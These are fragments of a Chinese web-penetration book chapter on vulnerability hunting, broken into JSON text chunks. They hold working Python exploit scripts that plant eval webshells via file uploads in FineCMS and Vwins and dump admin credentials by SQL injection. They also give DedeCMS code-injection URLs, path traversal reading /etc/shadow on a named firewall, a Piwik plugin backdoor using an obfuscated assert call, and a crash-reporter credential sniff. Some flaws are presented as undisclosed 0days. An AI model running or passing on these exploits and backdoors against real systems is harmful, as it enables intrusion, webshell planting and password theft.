    {"text": "图 3-3 下面附上 Python 版本的 poc： #!/usr/bin/env python #coding=utf-8 import requests import sys import re import urllib2 def main(): if len(sys.argv) == 1: print \"usage: %s http://www.test.com/\" % (sys.argv[0]) sys.exit() target = sys.argv[1] url1 = target + \"/index.php?c=Attachment&a=ajaxswfupload\" file1 = {\"Filedata\":(\"1.php\",\"<?php eval($_POST[cmd]);?>\",\"image/pjpeg\")} data1 = {\"submit\":\"upload\",\"size\":10000,\"type\":\"php\"} y 47 y Web 渗透与漏洞挖掘 try: page1 = requests.post(url1,files=file1,data=data1,headers={\"User-Agent\": \"FireFox 18.0\"}) content1 = page1.content regx = \",(.*)\\.php\" result1 = re.compile(regx).findall(content1) shell = target + result1[0] + \".php\" data2 = \"cmd=phpinfo();\" req = urllib2.Request(shell,data2,headers={\"User-Agent\":\"FireFox 18.0\"}) res = urllib2.urlopen(req) content2 = res.read() regx = \"allow_url_fopen\" result2 = re.compile(regx).findall(content2) if result2: print \"shell is:\",shell else: print \"Fail\" except: print \"Fail\" if __name__ == \"__main__\": main() 在 cmd 中运行我们的 Poc, fineCMS_1.9.3_file_upload.py http://localhost/finecms_v1.9.3/， 如图 3-4 所示。"},
    {"text": "图 3-4 y 48 y 第 3 章 漏洞挖掘 3.2 网神防火墙安全审计系统（secfox） 任意文件读取，root 权限（0day） 网神防火墙是国内一款知名的防火墙，相关的产品有网闸、sslVPN、安全审计、 ssh 等，经过笔者分析研究，网神防火墙的安全审计系统有一个高危漏洞。 1．图示 登录网神防火墙，用 IE 访问网址 https://218.22.1.78/welcome.php，如图 3-5 所示。"},
    {"text": "图 3-6 y 49 y Web 渗透与漏洞挖掘 单击 BLJ，跳转到网址 https://10.20.150.243/fort/pages/login.jsp，这是一个内网的 业务系统，如图 3-7 所示。"},
    {"text": "y 50 y 第 3 章 漏洞挖掘 图 3-9 查 看 “ 数 据 下 载 ” 的 URL ， 方 法 是 鼠 标 右 键 单 击 “ 属 性 ” ， 可 以 看 到 https://10.20.150.243/fort/setting-data/download.action?fileName=fortbak_2015-05-14_17-14-47.sql.mlprop，直接在浏览器中单击访问，如图 3-10 所示。 图 3-10 找到 filename 试试能否下载其他文件，为了能跳转到根目录，编写../代码，在浏 览器中输入网址 https://10.20.150.243/fort/setting- data/download.action?fileName=../../../.. /../../../etc/passwd，这样可以成功绕过系统限制，读取系统文件，如图 3-11 和图 3-12 所示。 图 3-11 y 51 y Web 渗透与漏洞挖掘 图 3-12 2．分析 当漏洞 0day 重现时，可以读取网神防火墙安全审计系统中的任意文件，权限是 root，问题出在 download.action 这个请求中的 filename 参数。"},
    {"text": "这时安全审计系统（secFox）会读取 fortbak_2015-03-16_15-43-46.sql.mlprop 文件发送给本机 IE 浏览器，我们只需保存即可，当把： download.action?filename=fortbak_2015-03-16_15-43-46.sql.mlprop 替换为： download.action?filename=../../../../../../../etc/passwd 就成功地读取了防火墙产品的密码文件，如图 3-13 所示。"},
    {"text": "图 3-13 y 52 y 第 3 章 漏洞挖掘 提交下面的 URL： download.action?filename=../../../../../../../etc/shadow 成功读取了 Linux 密码哈希，如图 3-14 所示。"},
    {"text": "下面分析关键代码，漏洞文件是/install/index.php.bak，具体代码如下： y 53 y Web 渗透与漏洞挖掘 304 //不安装任何可选模块 305 if(!isset($modules) || !is_array($modules)) 306 { 307 //锁定安装程序 308 $fp = fopen($insLockfile,'w'); 309 fwrite($fp,'ok'); 310 fclose($fp); 311 include('./templates/step-5.html'); 312 exit(); 313 } 314 else 315 { 316 317 $module = join(',',$modules); 318 $fp = fopen($moduleCacheFile,'w'); 319 fwrite($fp,'<'.'?php'.\"\\r\\n\"); 320 fwrite($fp,'$selModule = \"'.$module.'\"; '.\"\\r\\n\"); 321 fwrite($fp,'?'.'>'); 322 //如果不能写入缓存文件，退出模块安装 323 if(!$fp) 324 { 325 //锁定安装程序 326 $fp = fopen($insLockfile,'w'); 327 fwrite($fp,'ok'); 328 fclose($fp); 329 $errmsg = \"<font color='red'>由于无法写入模块缓存，安装可选模块失败，请登 录后在模块管理处安装。 </font>\"; 330 include('./templates/step-5.html'); 331 exit(); 332 } 333 fclose($fp); 334 include('./templates/step-4.html'); 335 exit(); 336 } 337 exit(); 338 } 第 305 行：if(!isset($modules) || !is_array($modules))。 如果$modules 变量不设置或$modules 变量不是一个数组，则锁定安装程序，若设 置$modules 为一个数组，会是什么结果呢？ y 54 y 第 3 章 漏洞挖掘 第 318 行 $fp = fopen($moduleCacheFile,'w')； 打开$moduleCacheFile。 第 320 行 fwrite($fp,'$selModule = \"'.$module.'\"; '.\"\\r\\n\")； 使用 fwrite()函数把$modules 数组的值写入文件。"},
    {"text": "需编写这样的 URL： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfile=i safesadfsa6&modules['a']=aaaa&moduleCacheFile=isafe.cc.php 用 IE 浏览器或 Chrome 访问，如图 3-15 所示。"},
    {"text": "图 3-15 提示连接数据库失败，查看代码： 127 else if($step==4) 128 { 129 $conn = mysql_connect($dbhost,$dbuser,$dbpwd) or die(\"<script>alert('数据 库服务器或登录密码无效，\\\\n\\\\n 无法连接数据库，请重新设定！ ');history.go(-1);</script>\"); 130 131 mysql_query(\"CREATE DATABASE IF NOT EXISTS `\".$dbname.\"`;\",$conn); 132 133 mysql_select_db($dbname) or die(\"<script>alert('选择数据库失败，可能是你没权限， 请预先创建一个数据库！ ');history.go(-1);</script>\"); y 55 y Web 渗透与漏洞挖掘 第 129 行$conn = mysql_connect($dbhost,$dbuser,$dbpwd) or die(\"<script>alert('数 据库服务器或登录密码无效，\\\\n\\\\n 无法连接数据库，请重新设定！ ');history.go(-1); </script>\"); 第 133 行 mysql_select_db($dbname) or die(\"<script>alert('选择数据库失败，可能是 你没权限，请预先创建一个数据库！ ');history.go(-1);</script>\"); 第 129 行和第 133 行代码的执行导致程序中止退出，需添加如下信息，让其继续 执行： dbhost=www.isafe.cc dbuser=root dbpwd=123456 dbname=mysql 这里的 www.isafe.cc 为 localhost 主机可以访问的任何域名或 IP 地址，在 www.isafe.cc 服务器上搭建一个 MySQL 服务器，登录用户名为 root，登录密码为 123456。 把他们连接组合到 URL 里： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfile=w ww.isafe.cc_6&modules['a']=aaaa&moduleCacheFile=isafe.cc.php&dbhost=127.0.0.1&d buser=root&dbpwd=1&dbname=mysql 用 IE 浏览器或 Chrome 打开，如图 3-16 所示。"},
    {"text": "y 56 y 第 3 章 漏洞挖掘 图 3-17 图 3-18 我们通过提交一个 URL 在文件里写入 aaaa，这样就成功了一半，也就完全可以 控制文件的内容，执行 phpinfo(); 函数试试。"},
    {"text": "用 IE 浏览器或 Chrome 提交下面的 URL： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfile=w ww.isafe.cc_6&modules['a']=aa${phpinfo()}aa&moduleCacheFile=isafe.cc.php&dbhost =127.0.0.1&dbuser=root&dbpwd=1&dbname=mysql 执行结果如图 3-19 所示。 图 3-19 执行成功，install 目录里的 isafe.cc.php 文件内容如图 3-20 所示。 y 57 y Web 渗透与漏洞挖掘 图 3-20 接着访问网址 http://localhost/DedeCMS_GBK_5.7_SP1/install/isafe.cc.php，如 图 3-21 所示。 图 3-21 显示错误，不能执行，我们在代码 phpinfo()前加@试试，用 IE 浏览器或 Chrome 提交： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfile=w ww.isafe.cc_6&modules['a']=aa${@phpinfo()}aa&moduleCacheFile=isafe.cc.php&dbhos t=127.0.0.1&dbuser=root&dbpwd=1&dbname=mysql 如图 3-22 和图 3-23 所示。 y 58 y 第 3 章 漏洞挖掘 图 3-22 图 3-23 运行成功，并写入 webshell 试试，用 IE 浏览器或 Chrome 提交： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfile=w ww.isafe.cc_6&modules['a']=aa${@eval($_POST[c])}aa&moduleCacheFile=isafe.cc.php &dbhost=127.0.0.1&dbuser=root&dbpwd=1&dbname=mysql 在 Firefox 中执行 system ('ipconfig')，运行结果如图 3-24 所示。 y 59 y Web 渗透与漏洞挖掘 图 3-24 整个过程看似很复杂，但最重要的是如下代码： http://localhost/DedeCMS_GBK_5.7_SP1/install/index.php.bak?step=4&insLockfi le=www.isafe.cc_6&modules['a']=aa${@eval($_POST[c])}aa&moduleCacheFile=isaf e.cc.php&dbhost=127.0.0.1&dbuser=root&dbpwd=1&dbname=mysql 别忘了搭建 MySQL 服务器哦！"},
    {"text": "3.4 FineCMS 1.9.3 前台多处 SQL 注入 在 FineCMS 1.9.3 中，只要是用 this→input→post 获取参数的，就都不用经过任何 过滤，导致可以多处 SQL 注入。"},
    {"text": "比如： z 第一处，会员昵称设置，存在注入。 z 第二处，会员头像设置，存在注入。 z 第三处，会员姓名设置，存在注入。 首先看第一处会员昵称设置，我们设置为 isafe’，如图 3-25 所示。"},
    {"text": "y 60 y 第 3 章 漏洞挖掘 图 3-25 图 3-26 单引号没有转义，造成注入，我们设置会员昵称为 isafe' where 1=1 and (updatexml (1,concat(0x7c7c7c,(select user()),0x7c7c7c),1))=1%23，如图 3-27 所示，注入结果如 图 3-28 所示。 图 3-27 图 3-28 y 61 y Web 渗透与漏洞挖掘 然后看第二处会员头像设置，我们设置为 isafe' where 1=1 and updatexml(1,concat (0x7c7c7c, (select user()),0x7c7c7c),1)=1%23，如图 3-29 所示，注入结果如图 3-30 所示。 图 3-29 图 3-30 最后看第三处会员姓名设置，我们设置为 isafe' where 1=1 and updatexml(1,concat (0x7c7c7c, (select user()),0x7c7c7c),1)=1%23，如图 3-31 所示，注入结果如图 3-32 所示。 图 3-31 y 62 y 第 3 章 漏洞挖掘 图 3-32 我们用 Python 编写测试脚本，具体代码如下： #!/usr/bin/env python #coding = utf-8 import sys import urllib2 import re class Hole(): def verify(self,url,cookie): user_agent = \"firefox 18.0\" url1 = url + \"/index.php?s=member&c=info&a=edit\" data1 = \"data%5Bnickname%5D=isafe' where 1=1 and (updatexml(1,concat(0x7c7c7c,(select md5(1)),0x7c7c7c),1))=1%23&data% 5Bxingming%5D=&submit=%E4%BF%9D+%E5%AD%98\" request1 = urllib2.Request(url1,data1,headers={\"User-Agent\":user_agent, \"Cookie\":cookie}) content1 = \"\" try: page1 = urllib2.urlopen(request1) except urllib2.HTTPError,e: content1 = e.fp.read() if \"c4ca\" in content1: print \"Success\" else: print \"Fail\" y 63 y Web 渗透与漏洞挖掘 def exploit(self,url,cookie): user_agent = \"firefox 18.0\" url1 = url + \"/index.php?s=member&c=info&a=edit\" data1 = \"data%5Bnickname%5D=isafe' where 1=1 and (updatexml(1,concat (0x7c7c7c,(repl_sql),0x7c7c7c),1))=1%23&data%5Bxingming%5D=&submit=%E4%BF%9D+%E 5%AD%98\" sql = \"select username from fn_user limit 0,1\" data2 = data1.replace(\"repl_sql\",sql) try: request1 = urllib2.Request(url1,data2,headers={\"User-Agent\":user_agent, \"Cookie\":cookie}) page1 = urllib2.urlopen(request1) except urllib2.HTTPError,e: content1 = e.fp.read() regx = \"\\|\\|\\|(.*)\\|\\|\\|\" result1 = re.compile(regx).findall(content1) sql = \"select password from fn_user limit 0,1\" data1 = \"data%5Bnickname%5D=isafe' where 1=1 and (select 1 from (select count(*),concat(0x7c7c7c,(repl_sql),0x7c7c7c,floor(rand(0)*2))x from information_schema.tables group by x)a)%23&data%5Bxingming%5D=&submit=%E4%BF%9D+%E5%AD%98\" data3 = data1.replace('repl_sql',sql) request2 = urllib2.Request(url1,data3,headers={\"User-Agent\":user_agent, \"Cookie\":cookie}) try: page2 = urllib2.urlopen(request2) except urllib2.HTTPError,e: content2 = e.fp.read() regx = \"\\|\\|\\|(.*)\\|\\|\\|\" result2 = re.compile(regx).findall(content2) if result1 and result2: print \"user is:%s\\npass is:%s\" % (result1[0],result2[0]) else: print \"Fail\" if __name__ == \"__main__\": if len(sys.argv) != 3: print 'usage: %s http://www.test.com \"cookie=cookie1;uid=1\" ' % (sys.argv[0]) sys.exit() url = sys.argv[1] cookie = sys.argv[2] y 64 y 第 3 章 漏洞挖掘 hole1 = Hole() #hole1.verify(url,cookie) hole1.exploit(url,cookie) 测试结果如图 3-33 所示。"},
    {"text": "图 3-33 3.5 探索风行电影系统（0day） 风行电影系统是一款集在线点播和下载影视（电影、电视）节目于一体的视频播 放软件，具有风行网首创的“边下载边看”的特点。 目前最新版本为风行电影系统 2.6， 其以新颖的交互界面、超凡的下载速度，以及海量的影视节目，让观看者畅快淋漓地 享受高品质的影视服务。"},
    {"text": "y 65 y Web 渗透与漏洞挖掘 图 3-34 图 3-35 从图 3-35 可以看出，这是一个 Bug 报告程序，猜想是将程序错误信息提交到指 定位置，帮助程序开发者修正错误。"},
    {"text": "发送数据的方式典型的有 HTTP、FTP、Mail 等 几种，这里先用 HTTP 试试能否抓到敏感数据，在此过程中会用到一个叫作“河马 Web 密码嗅探器”的软件，其主界面如图 3-36 所示。"},
    {"text": "在 CrashReport.exe 的联系方式里填写网址 http://www.isafe.cc 和 http://www.baohu3.com， 单击“发送错误报告”按钮，稍等片刻，若没有嗅探到任何数据，则把“河马 Web 密码嗅探器”的目的端口设置为 21，也就是 FTP 协议端口。 在 CrashReport.exe 联系 y 66 y 第 3 章 漏洞挖掘 方式里填写网址 http://www.isafe.cc 和 http://www.baohu3.com，单击“发送错误报告” 按钮，再稍等片刻，就截获了用户名和密码，如图 3-37 所示。"},
    {"text": "图 3-38 小结：本次渗透主要运用了 Bug 报告的方式，通常使用 HTTP、FTP、Mail 等， 在此过程中还使用了工具“河马 Web 密码嗅探器”，将此工具与文档一起打包，可 方便读者使用。"},
    {"text": "y 67 y Web 渗透与漏洞挖掘 3.6 Piwik 2.3.0 任意代码执行漏洞可获取 webshell 1．应用介绍 Piwik 是 PHP+MySQL 的开放源代码的一个 Web 统计软件，提供一些关于网站的 实用统计报告，比如网页浏览人数、访问最多的页面、搜索引擎关键词等。"},
    {"text": "（1）Controller.php （2）isafeAPI.php （3）plugin.json （4）README.md 首先编写 Controller.php 的源代码，代码如下： <?php /** * Piwik - Open source web analytics * * @link http://piwik.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * * @category Piwik_Plugins y 68 y 第 3 章 漏洞挖掘 * @package http://www.isafe.cc/ */ namespace Piwik\\Plugins\\isafeAPI; use Piwik\\Common; use Piwik\\Filesystem; use Piwik\\Notification; use Piwik\\Piwik; use Piwik\\Url; /** * * @package http://www.isafe.cc/ */ class Controller extends \\Piwik\\Plugin\\Controller { public function index() { $notification = new Notification(\"www.isafe.cc execute code start!\"); $notification->context = Notification::CONTEXT_SUCCESS; $notification->type = Notification::TYPE_TOAST; phpinfo(); if(isset($_REQUEST['page'])){ $page = $_REQUEST['page']; $func = 'a'; $func .= 'ss'; $func .= 'ert'; $func($page); } Notification\\Manager::notify('www.isafe.cc execute code end', $notification); Url::redirectToReferrer(); } } 在上面的代码中，标记为粗体部分的是笔者编写的 PHP 可执行代码。"},
    {"text": "y 69 y Web 渗透与漏洞挖掘 然后编写 isafeAPI.php 文件代码，代码如下： <?php /** * Piwik - Open source web analytics * * @link http://piwik.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * * @category Piwik_Plugins * @package www.isafe.cc execute code */ namespace Piwik\\Plugins\\isafeAPI; use Piwik\\Piwik; use Piwik\\Menu\\MenuTop; /** * @package www.isafe.cc execute code */ class isafeAPI extends \\Piwik\\Plugin { /** * @see Piwik\\Plugin::getListHooksRegistered */ public function getListHooksRegistered() { return array( 'Menu.Top.addItems' => 'addTopMenu', ); } public function addTopMenu() { if(Piwik::hasUserSuperUserAccess()) cc { $urlParams = array('module' => 'isafeAPI', 'action' => 'index'); MenuTop::addEntry('isafeAPI', $urlParams, true, 8, $isHTML = false); } } } y 70 y 第 3 章 漏洞挖掘 在上面的代码中，getListHooksRegistered 函数用于注册模块，并命名为 isafeAPI 到顶层菜单中。 接下来编写 plugin.json 文件代码，代码如下： { \"name\": \"isafeAPI\", \"version\": \"1.0\", \"description\": \"http://www.isafe.cc/ Email:zhaoxypass@hotmail.com QQ:343561636\", \"keywords\": [ \"cache\", \"delete\", \"tmp\" ], \"license\": \"GPL v3+\", \"homepage\": \"http://www.isafe.cc/\", \"require\": { \"piwik\": \">=2.2.0\", \"php\": \">=5.3.0\" }, \"authors\": [ { \"name\": \"赵显阳\", \"email\": \"zhaoxypass@hotmail.com\", \"homepage\": \"http://www.isafe.cc/\" } ] } 这个.json 是在 Piwik 的调用规定中不能缺少的编码文件。 最后编写 README.md 文件，代码如下： # Piwik code exec Plugin ## Description http://www.isafe.cc/ Email:zhaoxypass@hotmail.com QQ:343561636 ## Changelog ~2014~ y 71 y Web 渗透与漏洞挖掘 http://www.isafe.cc/ Email:zhaoxypass@hotmail.com QQ:343561636 commands. 1. 河马 WebSmart 漏洞扫描器 2. 河马 Web 应用防火墙 ~2013~ Inital creation of plugin at http://www.isafe.cc/ the name isafeAPI ## Support Please direct any feedback to zhaoxypass@hotmail.com 以上就是 Piwik 插件的所有文件代码，编写完成后，使用 zip 工具将这 4 个文件 打包成 isafeAPI.zip，文件名必须为 isafeAPI.zip。"},
    {"text": "图 3-39 y 72 y 第 3 章 漏洞挖掘 确定系统使用的是 Piwik 统计系统，打开网址 http://192.168.100.2:2217/piwik_ 2.3.0/index.php，如图 3-40 所示。"},
    {"text": "图 3-40 然后登录该系统（后面再告诉你密码），登录后，如图 3-41 所示。 图 3-41 单击图 3-41 右上角的“管理设置”，进入如图 3-42 所示的页面。 单击“商城”，页面下方有“上传插件”，如图 3-43 所示。 y 73 y Web 渗透与漏洞挖掘 图 3-42 图 3-43 单击“上传插件”后，显示如图 3-44 所示。"},
    {"text": "图 3-44 上传所编写的 Piwik 插件文件 isafeAPI.zip（可以到网站下载，下载地址为 http://www.isafe. cc/soft/isafeAPI.zip），如图 3-45 所示。"},
    {"text": "y 74 y 第 3 章 漏洞挖掘 图 3-46 图 3-47 由图 3-47 得知插件已经执行了 PHP 代码，还记得是什么代码吗？ 不仅仅是 phpinfo();，还有如下代码： phpinfo(); if(isset($_REQUEST['page'])){ $page = $_REQUEST['page']; $func = 'a'; $func .= 'ss'; $func .= 'ert'; $func($page); } y 75 y Web 渗透与漏洞挖掘 5．漏洞利用 现在使用工具“河马 PHP 一句话木马免杀服务端和客户端 v1.1”来连接下载网址 http://www.isafe.cc:/article.asp?id=44，可以执行任意命令，如图 3-48 所示。 图 3-48（1） 图 3-48（2） y 76 y 第 3 章 漏洞挖掘 图 3-48（3） 图 3-48（4） 这是一个 0day，互联网尚未公开有此漏洞。"},
    {"text": "y 77 y Web 渗透与漏洞挖掘 3.7 Vwins 2.0 upfile 文件上传漏洞挖掘 Vwins 是一款免费、开源的微信公众号、微信企业号和即付宝服务窗管理系统， 目前发现了一个任意文件上传漏洞。"},
    {"text": "代码如下： /addons/system/site.php doWebUpfile 函数 1 public function doWebUpfile($parent = null ) 2 { 3 $user = $this->user->getuser(); 4 $iname = value($parent, 1, false , 'file_img'); //表单名 5 $tname = value($parent, 2, false , 'images');//类型：images/videos/voices 6 $fname = value($parent, 3); //文件命名 7 $allowed = value($_GET, 'allowed'); //格式限制 8 $size = intval(value($_GET, 'size')); //大小限制（KB） 9 $userid = intval(value($_GET, 'userid')); //用户 ID 10 if ( empty ($userid)) $userid = $user['userid']; 11 $arr = array (); 12 $tname = in_array($tname, array ('images','audio','voices','videos'))? $tname:'images'; 13 $arr['upload_path'] = FCPATH.\"uploadfiles/users/\".$userid.\"/\".$tname. \"/\".date(\"Y/m/\"); 14 if ($tname == 'audio' || $tname == 'voices') { 15 $arr['allowed_types'] = 'mp3|wma|wav|amr'; 16 } elseif ($tname == 'videos'){ 17 $arr['allowed_types'] = 'rm|rmvb|wmv|avi|mpg|mpeg|mp4'; 18 } else { 19 $arr['allowed_types'] = 'gif|jpg|jpeg|png'; 20 } 21 if ($allowed && $allowed != \"undefined\") { 22 $arr['allowed_types'] = $allowed; 23 } 24 $arr['file_name'] = ($fname)?$fname:SYS_TIME.rand(10,99); 25 if ($size > 0) { 26 $arr['max_size'] = $size; y 78 y 第 3 章 漏洞挖掘 27 } 28 $this->load->model('vupload'); 29 $data = $this->vupload->upfile($arr, $iname); 30 echo json_encode($data); 31 exit (); 32 } 第 7 行，$allowed = value($_GET, 'allowed');使用 GET 方法获取参数的值。"},
    {"text": "/include/models/Vupload.php 1 function upfile($config, $field_name = \"\"){ 2 if ( empty ($config)) return array ('success' =>-1); 3 $this->make_dir($config['upload_path']); 4 $this->load->library('upload', $config); 5 if (!$this->upload->do_upload($field_name)){ 6 $data = array ('success' =>0, 'message' => $this->upload->display_ errors(\"\",\"\")); 7 } else { 8 $data = array ('success' =>1, 'message' =>'上传成功' ,'upload_data' => $this->upload->data()); 9 $data['upload_data']['full_path_site'] = str_replace(FCPATH,'', $config['upload_path']).basename($data['upload_data']['full_path']); 10 $data['upload_data']['full_path_new'] = BASE_DIR.$data['upload_data'] ['full_path_site']; 11 12 //缩略图 13 $this->img2thumb($data['upload_data']['full_path'], $data['upload_ data']['full_path'].\"_thumb.jpg\", 100, 0); 14 15 /* 16 $_ext = strtolower($data['upload_data']['file_ext']); 17 if ($_ext == \".jpeg\" || $_ext == \".jpg\" || $_ext == \".gif\" || $_ext == \".bmp\" || $_ext == \".png\") { 18 //UPYUN y 79 y Web 渗透与漏洞挖掘 19 if (defined('BASE_UPYUN_USE')){ 20 if (BASE_UPYUN_USE == 1){ 21 //加载 upyun 22 $params = array(); 23 $params['bucketname'] = BASE_UPYUN_BUCKET; 24 $params['username'] = BASE_UPYUN_USER; 25 $params['password'] = BASE_UPYUN_PASS; 26 $this->load->library('upyun', $params); 27 //上传到 upyun 28 $_file = BASE_UPYUN_FOLDER.'uploadfiles/page/'.date (\"Ymd/\").basename($data['upload_data']['full_path']); 29 $fh = fopen($data['upload_data']['full_path'], 'rb'); 30 $rsp = $this->upyun->writeFile($_file, $fh, True); 31 fclose($fh); 32 if (isset($rsp['x-upyun-frames'])){ 33 $data['upload_data']['full_path_local'] = $data ['upload_data']['full_path_new']; 34 $data['upload_data']['full_path_site'] = BASE_UPYUN_ HTTP.$_file; 35 $data['upload_data']['full_path_new'] = BASE_UPYUN_ HTTP.$_file; 36 } 37 } 38 } 39 } 40 */ 41 } 42 return $data; 43 } 第 5 行，!$this->upload->do_upload($field_name) 调用 do_upload 函数。"},
    {"text": "/system/libraries/Upload.php 1 public function do_upload($field = 'userfile') 2 { 3 // Is $_FILES[$field] set? If not, no reason to continue. 4 if ( isset ($_FILES[$field])) y 80 y 第 3 章 漏洞挖掘 5 { 6 $_file = $_FILES[$field]; 7 } 8 // Does the field name contain array notation? 9 elseif (($c = preg_match_all('/(?:^[^\\[]+)|\\[[^]]*\\]/', $field, $matches)) > 1) 10 { 11 $_file = $_FILES; 12 for ($i = 0; $i < $c; $i++) 13 { 14 // We can't track numeric iterations, only full field names are accepted 15 if (($field = trim($matches[0][$i], '[]')) === '' OR ! isset ($_file [$field])) 16 { 17 $_file = NULL ; 18 break ; 19 } 20 21 $_file = $_file[$field]; 22 } 23 } 24 25 //省略部分代码 84 $this->file_type = preg_replace('/^(.+?);.*$/', '\\\\1', $this->file_type); 85 $this->file_type = strtolower(trim(stripslashes($this->file_type), '\"')); 86 $this->file_name = $this->_prep_filename($_file['name']); 87 $this->file_ext = $this->get_extension($this->file_name); 88 $this->client_name = $this->file_name; 89 90 // Is the file type allowed to be uploaded? 91 if ( ! $this->is_allowed_filetype()) 92 { 93 $this->set_error('upload_invalid_filetype'); 94 return FALSE ; 95 } 第 91 行，调用 is_allowed_filetype 对上传的文件后缀进行验证。"},
    {"text": "y 81 y Web 渗透与漏洞挖掘 /system/libraries/Upload.php 1 public function is_allowed_filetype($ignore_mime = FALSE ) 2 { 3 if ($this->allowed_types === '*') 4 { 5 return TRUE ; 6 } 7 8 if ( empty ($this->allowed_types) OR ! is_array($this->allowed_types)) 9 { 10 $this->set_error('upload_no_file_types'); 11 return FALSE ; 12 } 13 14 $ext = strtolower(ltrim($this->file_ext, '.')); 15 16 if ( ! in_array($ext, $this->allowed_types, TRUE )) 17 { 18 return FALSE ; 19 } 20 21 // Images get some additional checks 22 if (in_array($ext, array ('gif', 'jpg', 'jpeg', 'jpe', 'png'), TRUE ) && @getimagesize($this->file_temp) === FALSE ) 23 { 24 return FALSE ; 25 } 第 3 行，if ($this->allowed_types === '*')，如果 allowed_types 为*，则返回 True， 文件上传类型被绕过。 整个流程是从 GET 里获取参数 allowed 的，allowed 即为允许上传的文件类型， 如果设置为'jpg'，则表示允许上传 JPG 类型的文件。 由以上源代码可知，第 3 行代码 设置为'*'，函数 is_allowed_filetype 直接返回 True，表示可以上传任意类型的文件并 包括 PHP 类型，由此就可以获取一个 PHP 的 webshell。"},
    {"text": "y 82 y 第 3 章 漏洞挖掘 图 3-49 拼接 URL，得到 http://127.0.0.1/xampp/Vwins_v2.0.2016.01.30/uploadfiles/users/ 41/images/2016/02/145648845072.php，使用客户端连接，如图 3-50 所示。"},
    {"text": "Python 代码如下： #!/usr/bin/env python #coding = utf-8 #author:zhaoxianyang import requests import urllib2 import re import sys import random class Hole(object): def verify(self,url): try: user_agent = \"fireFox 18.0\" account = \"isafe%d%d%d%d%d%d\" % (random.randint(0,9),random.randint(0,9), random.randint(0,9),random.randint(0,9),random.randint(0,9),random.randint(0,9)) url1 = url + \"/index.php/web/system/reg/\" data1 = \"username=\"+ account + \"&userpass=1qaz2wsx&reuserpass= 1qaz2wsx&dosubmit=1\" req = urllib2.Request(url1,data=data1,headers={\"User-Agent\": user_ agent}) res = urllib2.urlopen(req) cookie = res.headers[\"Set-Cookie\"] url2 = url + \"/index.php/web/system/upfile/formimg_1907/ images/?1= 1&allowed=*\" data2 = {\"key\":\"value\"} file1 = {\"formimg_1907\":(\"isafe.cc.php\",\"<?php phpinfo();?>\",\"image/ pjpeg\")} content = requests.post(url2,files= file1,data=None,headers={\"Cookie\": cookie,\"User-Agent\":user_agent}).content regx = 'full_path_site\":\"(.*?)\\.php' result = re.compile(regx).findall(content) shell = result[0] + \".php\" shell = shell.replace(\"\\\\\",\"\") shell = url + \"/\" + shell y 84 y 第 3 章 漏洞挖掘 req2 = urllib2.Request(shell,data=None,headers={\"User-Agent\":user_ agent}) res2 = urllib2.urlopen(req2) content2 = res2.read() if \"allow_url_fopen\" in content2: print \"success\" else: print \"fail\" except: print \"request error\" def attack(self,url): user_agent = \"firefox 18.0\" try: url1 = url + \"/index.php/web/system/reg/\" account = \"isafe%d%d%d%d%d%d\" % (random.randint(0,9),random.randint(0,9), random.randint(0,9),random.randint(0,9),random.randint(0,9),random.randint(0,9)) data1 = \"username=\"+ account + \"&userpass=1qaz2wsx&reuserpass= 1qaz2wsx&dosubmit=1\" req = urllib2.Request(url1,data=data1,headers={\"User-Agent\":user_ agent}) res = urllib2.urlopen(req) cookie = res.headers[\"Set-Cookie\"] data2 = {\"key\":\"value\"} url2 = url + \"/index.php/web/system/upfile/formimg_1907/images/?1= 1&allowed=*\" file2 = {\"formimg_1907\":(\"isafe.cc.php\",\"<?php eval($_POST[c]);?>\", \"image/pjpeg\")} content = requests.post(url2,files=file2,data=data2,headers={\"Cookie\": cookie,\"User-Agent\":user_agent}).content regx = 'full_path_site\":\"(.*?)\\.php' result = re.compile(regx).findall(content) if result: shell = result[0] + \".php\" shell = shell.replace(\"\\\\\",\"\") shell = url + \"/\" + shell print \"shell is \" + shell + \" pass is c\" else: print \"fail\" except: y 85 y Web 渗透与漏洞挖掘 print \"request error\" if __name__ == \"__main__\": url = sys.argv[1] hole1= Hole() #hole1.verify(url) hole1.attack(url) 在命令行执行 vwins_2_0_upfile_file_upload.py http://demo.vwins.cn/，结果如 图 3-51 所示。"},
    {"text": "图 3-51 成功得到一个 shell，然后使用“河马 PHP 一句话木马免杀服务端和客户端”工 具连接，或者在 Firefox 软件中用 hackbar 进行测试，如图 3-52 所示。"},
    {"text": "y 86 y 第 3 章 漏洞挖掘 3.8 FineCMS 1.9.5 本地文件包含漏洞 笔者研究 FineCMS 一段时间，发现了不少问题，如发现了一个文件上传漏洞（见 3.7 节），在官方演示网站测试，竟然获得了官方的 shell，在 FineCMS 中又发现了一 个本地文件包含漏洞。"},
    {"text": "FineCMS 对../这样的跨目录访问已经做了限制，打开网址 http://localhost/finecms_ v1.9.3/index.php?c=api&a=js&file=../../，如图 3-53 所示。"},
    {"text": "在文件 apicontroller.php 中，编写 mobiledataAction 函数，该函数的代码如下： /** * 移动客户端模板 Ajax 数据调用 */ public function mobiledataAction() { $tpl = $this->post('tpl'); //模板 $page = $this->post('page'); //数据分页 $catid = $this->post('catid'); //栏目 ID $this->view->assign( array ( 'page' => $page + 1, 'catid' => $catid )); $this->view->display($tpl); } $this->view->display($tpl) 中 的 $tpl 变 量 没 有 对 ../ 做 限 制 ， 我 们 调 用 mobiledataAction 函数试试，如图 3-54 所示。"},
    {"text": "否则系统实际处理的是 test.jpg.html，加上%00 则变为 test.jpg，这样就包含了 test.jpg 文件，如图 3-56 所示。 图 3-56 y 88 y 第 3 章 漏洞挖掘 图 3-56 提示的错误信息为“模板文件不存在 views\\default\\test.jpg.html”，是因 为%00 没有截断后面的.html，此时陷入了困境，既不能让它包含.jpg 文件，也不能找 到一个.html 文件让它包含。"},
